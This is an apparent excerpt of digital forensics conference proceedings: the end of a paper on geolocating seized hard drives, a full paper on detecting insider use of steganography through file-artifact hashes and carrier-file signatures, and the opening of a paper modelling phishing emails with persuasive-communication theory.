<td>Media</td>
<td>174724</td>
</tr>
<tr>
<td>Port</td>
<td>117221</td>
</tr>
<tr>
<td>Main</td>
<td>52709</td>
</tr>
<tr>
<td>Post</td>
<td>47683</td>
</tr>
<tr>
<td>Dial</td>
<td>34107</td>
</tr>
<tr>
<td>Normal</td>
<td>24203</td>
</tr>
<tr>
<td>Front</td>
<td>23845</td>
</tr>
<tr>
<td>White</td>
<td>20730</td>
</tr>
<tr>
<td>Trust</td>
<td>19790</td>
</tr>
<tr>
<td>City</td>
<td>19627</td>
</tr>
</tbody>
</table>

Table 4. Location noun matches

6. DISCUSSION

The use of geoparsing and geocoding to obtain the geographic location of a hard drive is potentially feasible for both area codes and IP addresses with some refinement. The use of IP addresses, while showing poorer performance on the older dataset, has a higher potential for systems with more frequent Internet connections. The use of zip codes and proper nouns with geographic significance were unfruitful and unlikely to yield positive results, even with substantial refinement to the algorithms.

As a side finding, the results indicate the value of using forensic-specific stopwords when indexing hard drives. In addition to common stopwords (the, he, and, it, etc.) computer specific stopwords like name, file, Microsoft, and string are so prevalent that returning files containing these results are unlikely to be fruitful.

In addition to the proper noun stopwords, similar stopword-like data can be gleamed from the other data types. Removing common phone numbers (like those included in DLL’s) and common IP addresses (those hardcoded into sample files and private/reserved IP addresses) may reduce the amount of data a forensic examiner needs to analyze by a significant amount.

One assumption made in the analysis was the computers would have a single geographic location associated with their use. Because the initial dataset used desktop hard drive images this assumption is more valid than it would be if laptop drive images were used, but even desktop drives can be used in multiple locations. People move to other cities, bring desktops to college, and sell machines to others in different locations, which can significantly confuse the analysis.

Although the intent was to identify drives in an automated fashion, the automated extraction data provides a feedback mechanism that can be used in a manual analysis as well. By identifying “interesting” phone numbers and IP addresses in an automated fashion, the forensic analyst can be provided with additional search terms for manual review.
7. FUTURE WORK

The initial examinations used drives acquired in (and assumed to be used in) the United States. Generalizing the regular expressions to be international in nature would be needed for global use (though the IP address space used was global), as would the use of a global dataset that geolocated international phone numbers.

The drives analyzed in this paper were parsed on a drive-level (as opposed to a file-level) of abstraction. The parsing of individual files using their logical file structure would allow the targeting of specific file types, elimination of duplicate files, and a general improvement in data quality traded off for more complexity in the parsing algorithms. The use of a file-based approach would additionally solve some of the problems associated with common sample files. Known file filters like the Forensic Toolkit KFF and NIST NSRL hash sets could significantly reduce the number of false positive results.

Another limitation of the initial analysis was the dataset – all of the drives used were desktop-size drives. The use of laptop drives may present further difficulties associated with the multiple use locations expected. The primary use location would still be expected to dominate, but unusual usage patterns may be present in certain circumstances like long distance commuting.

The use of more advanced algorithms to identify patterns and cross-analysis of phone and IP address information may be useful as well. Though beyond the scope of this paper, looking at each drive individually and applying outlier detection techniques may yield better overall results.

The application of term frequency-inverse document frequency techniques to assist manual review could be useful as well. Instead of treating individual files as documents, each individual drive image could be treated as a document and new evidence drives added to the corpus. This would provide a benefit of identifying items of interest in the evidence drive that are not as prevalent in the corpus as a whole.

Finally, if the data could be culled to a smaller sample size through representative sampling or similar techniques then geotagging may yield more valuable results that are generated from place names present.

8. CONCLUSIONS

The goal of this research was to test the feasibility of different techniques in accurately geolocating a computer. The research was successful in identifying two techniques that would be appropriate for geolocation – phone number extraction and IP address extraction. Additionally, the information gathered identified two other techniques as infeasible – the use of zip codes and the use of potential geographic place names.

As an additional outcome of the research, stopword lists that can be used for future information visualization efforts were generated. These will allow for more enhanced manual review efforts when applied to traditional techniques.

9. REFERENCES


IP2Location 2006, "IP2Location™ IP-Country Database," IP2Location Inc.


MaxMind 2006,"GeoLite IP-City Database," MaxMind Inc.


ABOUT THE AUTHORS

Chad M.S. Steel (M’95) Chad holds Bachelors and Masters Degrees in Computer Engineering from Villanova University and is currently pursuing a PhD in Computer Science at Virginia Polytechnic Institute.

He has served as the Chief Security Officer and Managing Director of a Fortune 100 corporation, been the Head of IT Investigations at a Global 100 corporation, and taught Computer Forensics at Penn State Great Valley.
Defending Against Insider Use of Digital Steganography

James E. Wingate, CISSP-ISSEP, CISM, IAM
Backbone Security
jwingate@backbonesecurity.com

Glenn D. Watt, CISSP, CISM, IAM, IEM
Backbone Security
glenn.watt@backbonesecurity.com

Marc Kurtz, CISSP
Backbone Security
mkurtz@backbonesecurity.com

Chad W. Davis, CCE
Backbone Security
chad.davis@backbonesecurity.com

Robert Lipscomb
Backbone Security
robert.lipscomb@backbonesecurity.com

ABSTRACT

The trusted insider is among the most harmful and difficult to detect threats to information security, according to the Federal Plan for Information Assurance and Cyber Security Research and Development released in April 2006. By default, employees become trusted insiders when granted the set of privileges needed to do their jobs, which typically includes access to the Internet. It is generally presumed the insiders are loyally working to achieve the organization’s goals and objectives and would not abuse the privileges given to them. However, some insiders will inevitably abuse some of their privileges. For example, a trusted insider might abuse their privilege of access to the Internet to download, install, and use an information hiding tool, such as one of the hundreds of digital steganography applications available on the Internet, to steal sensitive, classified, or proprietary information. Effective countermeasures to this threat must begin with an organizational policy prohibiting installation of information hiding tools on user workstations and must also include automated tools capable of detecting attempts to download and use digital steganography applications. This paper will describe the threat from insider use of digital steganography applications; a new approach to detecting the presence or use of these applications; and extraction of hidden information when a known signature of one of these applications is detected. The analytical approach to steganalysis involves the development and use of computer forensic tools that can detect "fingerprints" and "signatures" of digital steganography applications. These tools can be employed in both an off-line forensic-based mode as well as a real-time network surveillance mode. Detection of fingerprints or signatures in either mode may lead to the discovery and extraction of hidden information. Accordingly, this approach represents a significant improvement over traditional blind detection techniques which typically only provide a probability that information may be hidden in a given file without providing a capability to extract any hidden information.

Keywords: insider, steganography, steganalysis, computer forensics, artifacts, fingerprints, hash values, signatures

1. THE INSIDER THREAT

When considering the magnitude of the insider threat, it is instructive to consider the Hard Problem List (HPL) composed by the Information System Security (INFOSEC) Research Council (IRC) (IRC, 2005). The HPL is a list of eight problems considered to be the hardest and most critical challenges to building, deploying, and operating trustworthy systems. The Insider Threat is number two on the list.

In describing vulnerabilities, threats and risk, the Federal Plan for Cyber Security and Information
Assurance Research and Development released in April, 2006 lists insiders as an example of a threat agent along with the usual threat agents such as malicious hackers, organized crime, terrorists, and nation states (NITRD, 2006). Further, in describing threat and vulnerability trends, insiders are at the top of the list.

Another currently popular way to gauge the level of interest in a particular topic is to “Google” it. Running a Google search on “insider threat” returns 302,000 links; indicating a significant level of interest in the topic.

Some authors subdivide insiders into two groups: presumably “regular” insiders and another group of “trusted” insiders (IRC, 2005). The criteria for being a member of the trusted insider group is that members of this group possess significantly more technical ability than do the members of the regular insider group. For example, software developers and system administrators would be considered trusted insiders.

The term “trusted insider” implies there are insiders that are not trusted. While, in reality, it is true that all insiders cannot be trusted, the creation of an account with a userid and password is an explicit indication of a trust relationship between the organization and the insider. Thus, the use of “trusted” with “insider” is redundant.

The Federal Plan previously mentioned also lists the use of cyberspace for covert communications right after physical attacks against key data centers and communications nodes on the list of immediate concerns for the U.S. IT infrastructure (NITRD, 2006).

The means to accomplish covert communications is readily available to insiders in the form of digital steganography applications that can be used to hide information inside of digital files in such a way the hidden information cannot be seen or heard by normal human senses and is extraordinarily difficult to detect even when looking for it with state-of-the-market automated detection tools and techniques.

A Google search on “steganography” returns 1,720,000 links which speaks volumes about the level of interest in this topic.

To make matters even worse, encryption can be, and often is, used in conjunction with steganography. This makes a formidable challenge even more formidable because the hidden information must not only be detected and extracted; it must also be decrypted if it was encrypted prior to being hidden.

Accordingly, as an enabling technology for U.S. adversaries, use of steganography has significant implications for U.S. national security (NITRD, 2006). Because steganography can be used to steal intellectual property, it also has significant implications for U.S. economic security.

2. DIGITAL STEGANOGRAPHY

Secret communication, in one form or another, has been used throughout history. The Codebreakers by David Kahn provides an excellent treatment of this topic by interleaving the history of both steganography and cryptography (Kahn, 1996).

Fast forwarding to the Internet era, steganography manifested itself in the form of “digital steganography” which generally involves hiding a binary file inside of another binary file, typically called the carrier file. Although there are many ways to hide information inside practically any binary file (Kessler, 2004; Arnold et al., 2003; Bauer 2002), image and audio files are the most common carriers in use today. Typically, text files and image files are hidden inside other image files and text files are also hidden inside audio files.

Information hiding through the use of digital steganography has significant implications in the following three areas:
Law enforcement investigators and computer forensic examiners at the federal, state, and local level are encountering an ever increasing number of cases that involve the seizure, preservation, and analysis of digital evidence. Digital steganography can be used to conceal evidence of criminal activity and, perhaps of more concern, can be considered an effective anti-forensic tool because the current generation of computer forensic tools does not detect the presence or use of digital steganography. On their list of counter-surveillance technologies, intelligence agencies must be concerned about the use of steganography to defeat state-of-the-art surveillance tools and techniques to conceal evidence of terrorist activity.

Finally, private sector companies with significant amounts of intellectual property to protect must be concerned about the use of steganography by insiders as a means to steal their crown jewels. The electronics and pharmaceutical industries, in particular, come readily to mind. It is sobering to think of what might be hidden in the billions of images floating around on the Internet every day and on the millions of portable audio devices in use world-wide that collectively contain billions, and possibly trillions, of audio files. Then, the potential for hiding information on the millions of computers on enterprise networks and personal computers in homes must also be considered.

3. DIGITAL STEGANALYSIS

Steganalysis is somewhat analogous to cryptanalysis. The objective of cryptanalysis is to reverse the cryptographic process to reveal the plain text. However, an additional step is required with steganalysis. The hidden information must first be detected. Then, the objective becomes reversing the steganographic process to reveal the hidden information. After the hidden information is revealed, or extracted, the examiner may find the extracted information is cipher text, indicating the information was encrypted prior to being hidden in the carrier file. Depending on how much is known about how the application encrypted the payload and whether or not the user-supplied password was embedded in the carrier file along with the payload and whether that password can be cracked or replaced with a null password, classical cryptanalysis may be necessary to attempt to decrypt the hidden information.

The first step, then, is to determine if information has been hidden in the carrier file. This is often referred to as detecting the payload.

Much research has been done since the mid-to-late-1990 timeframe on techniques for detecting payloads in carrier files. Most of that research has been focused on a technique typically referred to as “blind detection.”

There are three classical “attacks” employed when using the blind detection technique (Kessler, 2004):

- Visual
- Structural
- Statistical

Each of these attacks result in varying degrees of success in determining whether or not a suspect carrier file contains a hidden payload. Typically, automated blind detection algorithms that perform structural and/or statistical attacks yield only a probability that information has been hidden in the carrier file with limited, if any, capability to attempt to extract the hidden payload.

A probability that hidden information may exist in suspect carrier files may be sufficient in some cases. For example, in an intelligence “man-in-the-middle” surveillance scenario, a high probability
that information has been hidden in suspect files could provide the opportunity to alter the file such
that the hidden message is scrambled such that the original message does not make it to the intended
recipient.

For law enforcement purposes, however, a probability that information may be hidden in a file is
generally insufficient. Law enforcement computer forensic examiners must be able to both detect and
extract hidden information in order for the investigator to have information of potential evidentiary
value to present to a prosecutor. It is inconceivable that any prosecutor would be willing to file charges
against a suspect based on an investigator’s assertion the suspect “may have hidden” evidence of
criminal activity in files on the suspect’s computer.

Accordingly, steganography represents a technology that hampers law enforcements’ ability to
conduct successful investigations where suspects have used digital steganography as an anti-forensics
tool that makes it exceedingly difficult, if not impossible, to find digital evidence.

In a national needs assessment for law enforcement tools and technologies conducted in 2002 by the
Institute for Security Technology Studies (ISTS) at Dartmouth College, steganography is described as
presenting “immediate and long-term challenges for law enforcement” (ISTS, 2002). Assessment
participants also called for “a clearinghouse of digital steganographic programs and signatures that
could be consulted during forensic analysis of a seized computer.” Finally, the assessment concluded
the section on steganography by stating the need for “additional long-term research into breakthrough
technologies for steganography detection.”

The previously referenced Federal Plan (NITRD, 2006) concluded the section on steganography by
stating that advanced methods for detecting steganography need to be developed and deployed to
detect covert communications along with a recommendation to enhance resources “to evaluate,
integrate, and deploy” basic research advances in the evolving field of digital steganalysis.

4. AN ANALYTICAL APPROACH TO STEGANALYSIS

Due to limitations inherent in the blind detection approach to steganalysis, a new and improved
approach is needed.

Rather than looking blindly at suspect carrier files, this paper suggests it would be much more
productive to take a more analytical approach to the problem that involves searching for the
fingerprint and signatures of steganography applications.

An excellent indication that a steganography application may have been used to hide information
would be detecting the presence of a steganography application on a seized computer. Much like the
popular baseball movie “Field of Dreams,” where the premise for achieving a gathering of the most
famous ballplayers of all time, was to “Build it, and they will come,” the premise for detecting the
presence of a steganography application is “If its there, it was used.” This premise can be extended to
include “if it was used, it was used to hide something.”

Two key questions then result from the initial and extended premise … “what was hidden and where
was it hidden.” The task for the examiner then becomes one of focusing their examination on finding
where the information might have been hidden; then find it and extract the hidden information.

The presence of a steganography application can be detected by scanning suspect media for the
“fingerprints,” or hash values, of “artifacts” of the steganography application. An artifact is a file, or
several files, resulting from the installation of a steganography application. A more detailed
description of artifact detection follows, but first a more in dept discussion of fingerprints is necessary.

The fingerprint is a hash value of a file artifact. Hash values, often referred to as a Message Digest,
have traditionally been computed using either the CRC-32, MD5, or SHA-1 algorithms. It is
computationally infeasible, in theory anyway, to find two different messages that produce the same
message digest. And, given any message digest, it is not possible to reverse the hashing process to
obtain the original message. Accordingly, the term “one way hash” is often used to convey the irreversibility of the process.

In February, 2004, the National Institute of Standards and Technology released the Secure Hash Standard (SHS) that added three additional algorithms capable of producing larger message digests for digital signatures and message authentication (NIST, 2004). The new standard added the SHA-256, SHA-384, and SHA-512 algorithms. A subsequent change to the SHS added the SHA-224 algorithm. Thus, at the present time, there are seven different algorithms that can be used to generate the fingerprint of a file artifact: CRC32, MD5, SHA-1, SHA-224, SHA-256, SHA-384, and SHA-512.

An excellent indication that a steganography application was used to hide information would be detecting the “signature” of a steganography application. Extensive research on selected steganography applications, to be described in a subsequent section, has resulted in the discovery that some steganography applications leave a uniquely identifiable signature, or hexadecimal byte pattern, in a carrier file.

The use of a steganography application can be detected by scanning all the files on suspect media for known signatures of steganography applications. This should not be done until traditional forensic file recovery tools and techniques have been run to recover deleted files, files in slack space, files in swap space, etc. A more detailed explanation of signature scanning follows.

5. STEGANOGRAPHY APPLICATION ARTIFACT DETECTION

An artifact of a steganography application is a file or registry key added to a system as a result of installing or running a steganography application. A fingerprint is one of up to seven different hash values of a file artifact. Registry artifacts are applicable only to Windows platforms because the concept of a Registry is unique to Microsoft operating systems. File artifacts exist for steganography applications that run on numerous other operating systems such as Macintosh, Linux, Amiga, OS2, AIX, HPUX, Solaris, and even Symbian.

Scanning the file system on seized media for fingerprints of file artifacts, and registry artifacts for Windows platforms, enables the computer forensics examiner to determine if a particular steganography application is currently on the media or was at one time. Many artifacts can be easily removed from a system by uninstalling the associated steganography application and then deleting the obvious files and folders not removed during the uninstall process. However, it is important to remember that some number of file and registry artifacts, referred to as residual artifacts, may remain on the system in spite of user attempts to cover their tracks. Residual artifacts can be detected by an examiner equipped with the proper tools and can serve as proof the user installed a specific steganography application at some point in time.

The investigator or examiner should interpret detection of a steganography application artifact as an indication of the user’s intent to hide something with that application. Artifact detection yields a couple of questions such as “What information was hidden? and “Where was the information hidden?” It is important to be able to associate any artifact with a particular steganography application to improve the chances of finding and extracting any information hidden with the application. The examiner can then find additional information about the application by consulting repositories of steganography application research data to answer some very important questions such as:

- What types of files (i.e., carrier files) can be manipulated by the particular application?
- What type of embedding technique does this application use?
- What type of encryption, if any, does this application use?

By answering these questions, the examiner can narrow their search to a certain set of file types, possibly only one file type. Armed with specific information about the application used to hide information, the examiner has a much better chance of finding the carrier files and extracting the hidden information.
The above information provides an explanation on the basic concept of artifact detection. Depending on the type of steganography application that was used to hide the data initially, it can be a very difficult task to recover the hidden data. In many cases, if strong encryption was used to encrypt the data before it was hidden, a recovery of the hidden data may never be possible. When tackling the insider threat, this example shows us that a more proactive approach is needed in cases concerning steganography. The detection of the use of a steganography application to steal sensitive, proprietary, or classified information after the fact simply will not suffice in cases of this nature. Furthermore, it is also important to remember that an investigation after the fact will not reveal how much sensitive, proprietary, or classified information has previously been stolen by the insider. Immediate, real-time detection of the artifacts of steganography applications is the only strategy that will provide an all-encompassing solution to these types of crimes.

By monitoring the files present on an insider’s machine and within their network traffic in real-time, it is possible to detect that a trusted employee is in the process of using a particular steganography application to smuggle sensitive, proprietary, or classified information outside of the workplace. Once it is determined that an artifact of a steganography application exists on, is entering, or is leaving an employee’s workstation, action can then be taken to either monitor this employee’s actions more carefully or seek immediate disciplinary action against them.

6. STEGANOGRAPHY APPLICATION SIGNATURE DETECTION

Many steganography applications embed a unique hexadecimal byte pattern as a by-product of embedding hidden information within carrier files. This hexadecimal byte pattern is used by the steganography application to identify whether or not it was used to manipulate the carrier file. These signatures are verifiable and repeatable. A hit on a signature would indicate that the steganography application has been used to hide something within a carrier file.

To determine a signature for a particular steganography application, a large number of test images must be created using that application. A set of images known to be clean of steganography is used as carrier files. A set of text, image, and audio files of various sizes are used as payload files. Several combinations of the carrier and payload files are used to create a Reference Image Library. All options such as encryption and compression are used to create the set of reference images. The goal is to create as diverse a set of stego images as possible. Once created for each steganography application, the reference images are then compared to each other to identify patterns of data that can be used as signatures. Signatures can vary in length and a steganography application may have more than one signature.

Signature detection is a highly accurate method of detecting the use of steganography within a carrier file. False positive results can occur for very small signatures (one to three bytes). However, in many instances additional information can be used in correlation to verify the signature and reduce the false positive rate.

Unlike the blind detection method which gives you a probability that a particular algorithm (LSB modification, DCT modification, etc) was used to embed the hidden data, the signature detection used by the Analytical Approach pinpoints the particular application that was used to embed the hidden data. A major advantage of signature-based detection is that as a by-product of the extensive research that goes into the signature discovery process is knowledge that can be used in creating an automated extraction algorithm for recovering the hidden information.

In some cases, the passwords used to embed or encrypt the information prior to embedding can be exploited to recover the payload. Kerckhoffs’ principle states that a system’s security relies on key management, not the secrecy of the algorithm used (Kerckhoffs, 1883). In other words, security through obscurity is no good. It is not important that everyone knows the techniques used to embed the hidden data, rather the security of the data relies on a secret key used to protect the hidden information. Some steganography applications use strong encryption (AES, 3DES, Blowfish,
Twofish, etc.) but leave the passwords used for encryption either in plaintext or as a simple XOR. These passwords can be defeated by replacing the password with null or known passwords.

Signature detection is not a panacea or be all-end all solution for steganalysis because some applications leave no signature behind. This limitation may ultimately require the use of more traditional blind detection techniques.

7. REAL-TIME DETECTION OF STEGANOGRAPHY APPLICATION ARTIFACTS AND SIGNATURES

Detecting artifacts and signatures of steganography applications after the application has already been downloaded or installed and used is not unlike locking the barn door after all the horses are out.

Accordingly, a means to keep steganography applications from being downloaded, installed, and used in real-time is of paramount importance.

By placing a network security appliance that employs application proxies to intercept and reassemble HTTP and SMTP packet traffic into files, it would be possible to detect fingerprints and signatures of steganography applications.

The expected scenario would be one where an insider finds a freely available steganography application on the Internet and downloads that application onto their network connected computer. The user would then install the application and use it to hide some information in a carrier file. Then, the user would either upload the carrier file to a publicly accessible web site or send the carrier file to an external recipient as an attachment to an e-mail.

With real-time detection, the steganography application would be detected in the in-bound network traffic stream. Upon detection, the file could be logged and passed on to the user or it could be blocked and placed into quarantine for subsequent analysis or investigation. The important point is detecting any steganography application inbound should be a critical early warning indicator that an insider intends to use the application to hide something. Network security staff can then increase surveillance on the user to find out more information such as what type of information might they be trying to conceal or steal and to whom might they be intending to send it to.

If the decision is to log and pass the application to the user, it must be assumed the user will install the application, use it to hide something in a carrier file, and then attempt to exfiltrate the carrier file from the network by posting it on a web site or sending it to someone as an e-mail attachment.

Here again, real-time detection may be able to detect a signature in the out-bound network traffic. In the same way in-bound traffic is reassembled by application proxies and subsequently hashed to determine if the inbound file is an artifact of a steganography application, out-bound traffic can be reassembled and the resulting files can be scanned to determine if a known signature of a steganography application exists in the out-bound carrier file.

While the discovery of signatures of steganography applications will certainly always lag behind the discovery of artifacts, and it is very highly likely that some steganography applications will not have a signature, the combination of scanning inbound traffic for known artifacts and scanning outbound traffic for known signatures is expected to be an effective countermeasure to the threat of insider use of steganography.

Generally, the capability of all software tools improves over time. Likewise, it is expected the capability of real-time steganalysis tools will also improve over time. And, while it would be unreasonable for anyone to expect the tool would ever be able to detect all steganography application artifacts and signatures, it is very reasonable to expect the tool will detect some amount of insider use of steganography to steal sensitive, classified, or proprietary information.
8. BEST PRACTICE

The first step in addressing the steganography threat should be to develop and distribute a policy prohibiting users from downloading, installing, and or using steganography or any information hiding tools on the organization’s networked computers. While many organizations already have an “Acceptable Use” policy that covers many topics, that may possibly include a list of prohibited software, the policy aspect may be dealt with by simply adding steganography and information hiding tools to the list of prohibited software.

After addressing the policy aspect of steganography countermeasures, the organization should identify and deploy a real-time steganography detection capability. While it would be nice if any of the currently available content filtering and Unified Threat Management (UTM) included the detection of steganography, the reality is that these tools do not do this. Accordingly, they all have a huge gaping hole in their insider threat defenses because they do not detect covert channels that can be established by insiders through the use of steganography.

Until such time as steganalysis capability is integrated into currently available, or new, content filtering and UTM tools, it may be necessary to employ a special-purpose network security appliance with the capability to detect steganography in real-time.

Ideally, the threat of insider use of steganography would be most comprehensively addressed by employing real-time and off-line steganalysis capability in tandem. The off-line detection could be performed through forensic analysis of employee computers. For example, during non-working hours, the hard disk drives on employee computers could be imaged for subsequent processing by security staff using forensic tools designed to detect fingerprints and signatures of steganography applications. This approach could detect the presence of steganography applications that had been downloaded prior to the deployment of the real-time detection capability.

While some may look-upon the forensic analysis of employee computers as an intrusive surveillance technique or as a “Big Brother” spying type activity, it should be considered in the context of configuration management. A best practice of configuration management is to know exactly what software is on each computer connected to the organization’s network. If steganography applications, or any malware for that matter, are there and no one knows it, then intellectual property or other sensitive or classified information may be leaking out of the network without anyone knowing about it. This should serve as proof that the old saying “What you don’t know can’t hurt you” is not at all true in this digital age. Rather, what you don’t know can hurt you … and the pain can be immeasurable in terms of financial loss as well as the impact on U.S. national, homeland, and economic security.

9. CONCLUSIONS

In the words of Tom Clancy, digital steganography is a “clear and present danger.” It is a significant threat but nobody really knows how much it’s being used because no one is looking for it.

A paradigm shift in the field of computer forensic examination is needed to adequately address this threat. Computer forensic examiners should include steganalysis as a routine aspect of their examinations much like the recovery of deleted files and the search for information in swap space and slack space is done routinely.

Steganalysis should always be performed in the laboratory environment and on a case-by-case basis when doing field triage (Debrota, S., Goldman, J., Mislan, R., Rogers, M., and Wedge, T., 2006). It is not difficult to envision scenarios where an examiner may not find any information of value in a field triage but a quick steganography artifact scan may reveal the suspect used a steganography application as an anti-forensic tool to conceal key evidence. That may, in turn, help the examiner find information of value hidden in carrier files on the media being examined in the field or may help to focus a subsequent laboratory examination to find hidden information more quickly than it otherwise may have been found.
Private sector companies with significant amounts of intellectual property to protect should be very concerned about the threat posed by insider use of steganography to steal their intellectual property and should employ effective countermeasures as soon as practical because the content filtering and UTM tools they may have deployed do not detect the presence or use of steganography.

For law enforcement and private sector computer forensic examiners to have the capability to routinely scan for fingerprints and signatures of steganography applications, a national repository of steganography applications, fingerprints and signatures is needed. This need was listed in the ISTS National Needs Assessment (ISTS, 2002). Keeping the repository populated with newly developed or discovered steganography applications will be an on-going and long term need.

Additionally, computer forensic examiners will also need state-of-the-art tools to detect the presence and use of steganography applications to conceal evidence of criminal activity. After detecting hidden information, the examiners will need the automated tools necessary for extracting the hidden information because a manual extraction process is much too time consuming and onerous to expect even the most dedicated and technically proficient examiners to perform.

Finally, research to advance the state-of-the-art of steganalysis must be continued. Much research has been done in the area of hiding text and image files inside of other image files, although much more needs to be done. However, much less research as been done in detecting hidden information in audio and video files. The exploding number of mobile personal computing, audio, and video devices has resulted in the existence of billions, if not trillions, of audio and video files—each of which can serve as a carrier file for hidden information.

Refusing to believe, or even consider, that steganography is being used is “security through denial” and that will never provide any assurance that sensitive information isn’t leaking out of the network like a sieve.

Steganography will never be found if no one ever looks for it. In the meantime, large amounts of digital evidence of criminal activity may be going undetected.

10. REFERENCES


Investigating Information Structure of Phishing Emails Based on Persuasive Communication Perspective

Ki Jung Lee  
The iSchool at Drexel  
College of Information Science and Technology  
Drexel University  
Philadelphia, PA USA

Il-Yeol Song  
The iSchool at Drexel  
College of Information Science and Technology  
Drexel University  
Philadelphia, PA USA

ABSTRACT
Current approaches of phishing filters depend on classifying messages based on textually discernable features such as IP-based URLs or domain names as those features that can be easily extracted from a given phishing message. However, in the same sense, those easily perceptible features can be easily manipulated by sophisticated phishers. Therefore, it is important that universal patterns of phishing messages should be identified for feature extraction to serve as a basis for text classification. In this paper, we demonstrate that user perception regarding phishing message can be identified in central and peripheral routes of information processing. We also present a method of formulating quantitative model that can represent persuasive information structure in phishing messages. This paper makes contribution to phishing classification research by presenting the idea of universal information structure in terms of persuasive communication theories.

1. INTRODUCTION
In our modern day lives, the internet is a unified window to various sources of information for entertainment, study, healthcare, and many other human created forms of knowledge products. Emails, as a major method of internet communication, serve as a personalized channel of communication for the users to experience such knowledge products in various serviceable forms. Unfortunately, however, emails are being misused by criminals such that they appeal to user’s cognition by engineering urgency, authority, or fear in the email message, induce the user’s mindless response, and steal proprietary information such as credit card numbers or social security numbers. Such online crime is referred to as phishing.

Phishing is online identity theft in which confidential information is obtained from victims (Emigh, 2005; Kirda & Kruegel, 2006). The crime, moreover, is spreading fast with the increased share of electronic market place in the retail market. According to the research conducted by Gartner Research Group (2005), an estimated 73 million U.S. adults who use the Internet identified that they received or thought they received an average of more than 50 phishing e-mails from June 2004 to May 2005. That number represents a growth rate of 28 percent compared with the previous 12-month period, during which 57 million U.S. adults reported they definitely received or thought they received a phishing e-mail. Phishing scam is a serious problem for many industries since it has a great impact on the internet business which is based on the ring of trust between vendors and consumers. It, coupled with increasing disclosure of unauthorized access to sensitive consumer data, causes a bad influence on consumer confidence in making transactions electronically. Companies are worried that they will lose the ability to leverage low-cost electronic communication channels with their customers.

Phishing attacks are logistically distinct from spam in that 1) phishing attacks are more sophisticated, 2) phishing messages are more likely targeted to specific audience, 3) phishing attacks are more likely to be short-lived, and
4) phishing related websites are dynamically changing (MessagingAnti-AbuseWorkingGroup & Anti-phishingWorkingGroup, 2006). Technically, therefore, spam filters are not the best solution for phishing filtering. In other words, phishing messages are not easily detected by spam filters since the messages tend to emulate the information structure of legitimate emails. Consequently, some studies identified phishing specific features and systems were designed accordingly. Some of the phishing specific features are IP-based URLs, age of domain names, non-matching URLs, number of links, number of domains, number of dots, and use of javascript (Drake, Oliver, & Koontz, 2005; Fett, Sadeh, & Tomasic, 2006). However, it can be argued that easily discernable features in text, in the same sense, can be easily manipulated by sophisticated attackers. Updating such phishing features for up-to-date design of phishing filter can be cumbersome since criminals can use infinite number of ways to manipulate email messages. Therefore, identifying a fundamental and universal information structure of phishing messages and designing a set of features for such information structure are essential. The motivation of this study is urged by answering the following two fundamental questions in regards to representing the information structure of phishing messages:

1. Why do people keep deceived by phishing scams?
2. What is the universal pattern of phishing message that can be applied to different phishing messages?

This study finds explanation of phishing victim’s mindless response from dual process cognition models. Instead of arguing that heuristic aspect of cognitive process is responsible for user’s mindless response, in this paper, we demonstrate that some combinations of dual cognitive processes are related to user’s trust decision. This paper analyzes phishing email messages in the user perception level and presents a quantitative model. First, we classify information structure in phishing email messages based on the variables measuring components of persuasive transactions. Then, based on the identified persuasive transaction variables representing dual cognition, in addition to phishing related variables, we compute a quantitative model that can represent the combination of dual cognitive processes while providing the binary prediction whether the message is phishing or not. From the outset, we argue that the key to the ultimate solution of phishing scam can be found from people, i.e., the users. Since phishing attacks mainly depend on user’s mindless response to manipulated email messages (i.e., socially engineered messages), the victims play a fundamental role in the crime (Merwe, Loock, & Dabrowski, 2005). Therefore, it is important to know how the social engineering is deployed and used in phishing emails to trick people and how email users perceive manipulated messages and make trust decision.

The objective of this paper is to present a research framework for phishing filter feature extraction. Although different approaches have been investigated to analyze phishing attacks (Adida, Hohenberger, & Rivest, ; Inomata, Rahman, Okamoto, & Okamoto, ; Jakobsson, 2005; Parno, Kuo, & Perrig, 2005), there has not been an attempt to analyze it in user’s perception level. This paper provides a framework of a research method in phishing feature extraction based on information structure derived from robust communication theories.

This paper describes a pilot analysis with a small sample size. When a sample size is substantially larger, we expect the same method would provide more refined results in addition to a richer set of descriptive analysis results. The remaining sections are organized as follows: Section 2 reviews theoretical background of this study. In Section 3, the research procedure and variable selection are discussed. In Section 4, we present the statistical procedure for verifying dual process cognition model and computing binary prediction model. In Section 5, limitations of the current study and further study directions are discussed. Section 6 concludes our paper.

2. THEORETICAL BACKGROUND

In this section, we provide a theoretical background behind our argument that message structures in phishing emails can be examined in terms of persuasive communication theory. Although phishing can be conceptually defined as manipulation, rather than persuasion, they are not too different when it comes to message manipulation tactics and message receiver perception processes. By using the variables measuring persuasive transactions, we can develop a quantitative model that represents the structure of persuasive information in email messages. In a practical sense, phishing emails and legitimate emails will have different
combination and/or contribution of the persuasion variables and can be distinguished by the equation containing the set of combination and contribution.

The framework we utilize in this paper is based on persuasive communication perspective in two folds; components of persuasive transaction guiding compliance gaining message production and a user cognitive model that identifies how people would process information in email messages. Components of persuasive transactions concern message sender’s message manipulation strategies whereas the user cognitive model concern message receiver’s information processing model. In summary, message flows of phishing communication in our argument can be simplified as follows:

Sender message manipulation \(\rightarrow\) Receiver information processing \(\rightarrow\) Receiver trust decision.

2.1. Sender’s message manipulation

The art of persuasion has been investigated for several decades since Aristotle defined various ways of persuasive appeals such as logos (i.e., rational appeal), pathos (i.e., emotional appeal), and ethos (i.e., appeal through knowledgeable character). Until today, source characteristics and message characteristics are major components of persuasive communication. However, since we discuss communication by means of computers, persuasive transaction components in this paper are discussed in two broad aspects: Traditional persuasion approaches and persuasive technology perspective which are more recent research topics in relation to persuasive interface design.

2.1.1. Source variables and message variables

Traditionally, message contents are studied as a major factor that influences communication outcome. Hovland et al. (1953), rather than designing a formal theory about message learning, started with “assumptions” of how people learn verbal and nonverbal skills. Their assumptions indicate that a persuasive communication requires a person’s attention and comprehension concerning the information in the message. After a person attends to the message and understands it, s/he establishes a connection between the presented issue and those cognitive responses by mentally repeating the message arguments. This repeating may result in storage of information in memory in ways that signify the arguments and conclusion. Although attention, comprehension, and retention are necessary preconditions for attitude change, Hovland et al. define incentive (i.e., reward) as a sufficient precondition. They, in other words, imply that attitude change can occur when major communication stimuli is not directly related to message content.

Source variables and message variables are mainly discussed in this perspective. Source variables are related to the characteristics of message sources in relation to persuasion effectiveness. Source credibility in terms of perceived expertise and trustworthiness is the major concern in the discussion of source variables (Hovland et al., 1953; McCroskey, 1966).

